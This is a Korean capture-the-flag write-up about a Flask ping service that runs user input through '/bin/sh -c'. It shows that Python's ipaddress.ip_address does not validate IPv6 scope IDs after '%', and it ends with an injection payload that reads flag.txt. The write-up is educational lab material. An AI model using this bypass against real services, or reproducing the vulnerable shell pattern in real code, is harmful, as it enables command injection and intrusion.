#!/usr/bin/env python3
import subprocess
import ipaddress
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/ping', methods=['GET'])
def ping():
host = request.args.get('host', '')
try:
addr = ipaddress.ip_address(host)
except ValueError:
error_msg = 'Invalid IP address'
print(error_msg)
return render_template('index.html', result=error_msg)
cmd = f'ping -c 3 {addr}'
try:
output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=8)
return render_template('index.html', result=output.decode('utf-8'))
except subprocess.TimeoutExpired:
error_msg = 'Timeout!!!!'
print(error_msg)
return render_template('index.html', result=error_msg)
except subprocess.CalledProcessError:
error_msg = 'An error occurred while executing the command'
print(error_msg)
return render_template('index.html', result=error_msg)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
/ping 경로로 진입시, get으로 host값을 받아 ip_address함수로 ip값으로 변환하여 ping을 전송한다.
위 코드에서 ip_address이외에 사용자 입력으로 받는게 없기 때문에 ip_address함수를 분석해 보았다.
아래의 주소를 참고하여 ip_address함수의 변환 과정과 테스트를 진행한 결과
https://docs.python.org/3/library/ipaddress.html#module-ipaddress
import ipaddress
print(ipaddress.ip_address('8.8.8.8'))
try:
print(ipaddress.ip_address('8.8.8.8;'))
except:
pass
print(ipaddress.ip_address('fe80::1234'))
try:
print(ipaddress.ip_address('fe80:;:1234'))
except:
pass
print(ipaddress.ip_address('fe80::1234%;'))
ip주소 변환 과정에서 ipv4나 ipv6에 특수문자나 다른 기호가 있으면 반환을 하지 않는다. 따라서 주소 안에 ;를 넣는 방법은 함수자체적으로 걸러낼 수 있으나 ipv6에서 Scope-id를 사용한다면 ;를 넣고도 함수가 ;를 반환하게 만들 수 있었다.
ipv6
- Scope_ID
네트워크 인터페이스를 식별하는 문자열
ex) fe80::1%eth0 -> fe80::1 주소가 eth0라는 네트워크 인터페이스에 속하는 것을 표시
ip_address함수는 %뒤의 문자열에 대해 검증을 하지 않는다.
- bash쉘을 통해 명령어를 실행
- 입력값 검증 없음
- ip_address 함수
HTTP
위는 GET요청으로 처리하기 때문에 URL에 아래의 내용을 삽입하면 flag값을 확인 할 수 있다.
/ping?host=::fe:1%;cat%20flag.txt